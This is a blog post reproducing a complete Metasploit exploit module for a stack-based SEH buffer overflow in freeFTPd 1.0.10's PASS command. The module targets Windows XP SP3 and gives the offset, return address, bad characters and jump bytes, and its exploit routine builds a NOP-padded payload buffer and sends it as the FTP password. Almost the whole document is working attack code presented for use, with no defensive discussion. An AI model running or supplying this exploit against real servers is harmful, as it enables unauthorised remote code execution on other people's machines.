Friday, September 6, 2013

freeFTPd 1.0.10 PASS Command SEH Overflow - Metasploit Module

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking

include Msf::Exploit::Remote::Ftp

def initialize(info = {})
super(update_info(info,
'Name'           => 'freeFTPd 1.0.10 PASS Command SEH Overflow',
'Description'    => %q{
This module exploits a SEH stack-based buffer overflow in freeFTPd Server PASS command version 1.0.10.
credit goes to Wireghoul.

},
'Author'         =>
[
'Wireghoul - www.justanotherhacker.com', # original poc
'Muhamad Fadzil Ramli <fadzil [at] motivsolution.asia>', # metasploit module
],
'License'        => MSF_LICENSE,
'References'     =>
[
[ 'OSVDB', '96517' ],
[ 'EDB', '27747' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'seh'
},
'Privileged'     => false,
'Payload'        =>
{
'Space'    => 600,
'BadChars' => "\x00\x20\x0a\x0d",
#'DisableNops' => true
},
'Platform'       => 'win',
'Targets'        =>
[
[ 'Windows XP English SP3',   { 'Ret' => 0x00414226 , 'Offset' => 952 } ],
],
'DisclosureDate' => 'Aug 21 2013',
'DefaultTarget' => 0))
end

def check
connect
disconnect

if (banner =~ /freeFTPd 1.0/)
return Exploit::CheckCode::Vulnerable
end
Exploit::CheckCode::Safe
end

def exploit
connect

        payload_size = payload.encoded.length

        buf = make_nops(1000)
        buf[(target['Offset']-11) - payload_size, payload_size] = payload.encoded
        buf[target['Offset']-5,5] = "\xe9\x98\xfe\xff\xff"
        buf[target['Offset'],4]   = [0xfffff9eb].pack("V")
        buf[target['Offset']+4,4] = [target.ret].pack("V")

print_status("Sending exploit buffer...")

        #buffer = Rex::Text.pattern_create(1000)
        send_user(datastore['FTPUSER'])
        send_pass(buf)

handler
disconnect
end

end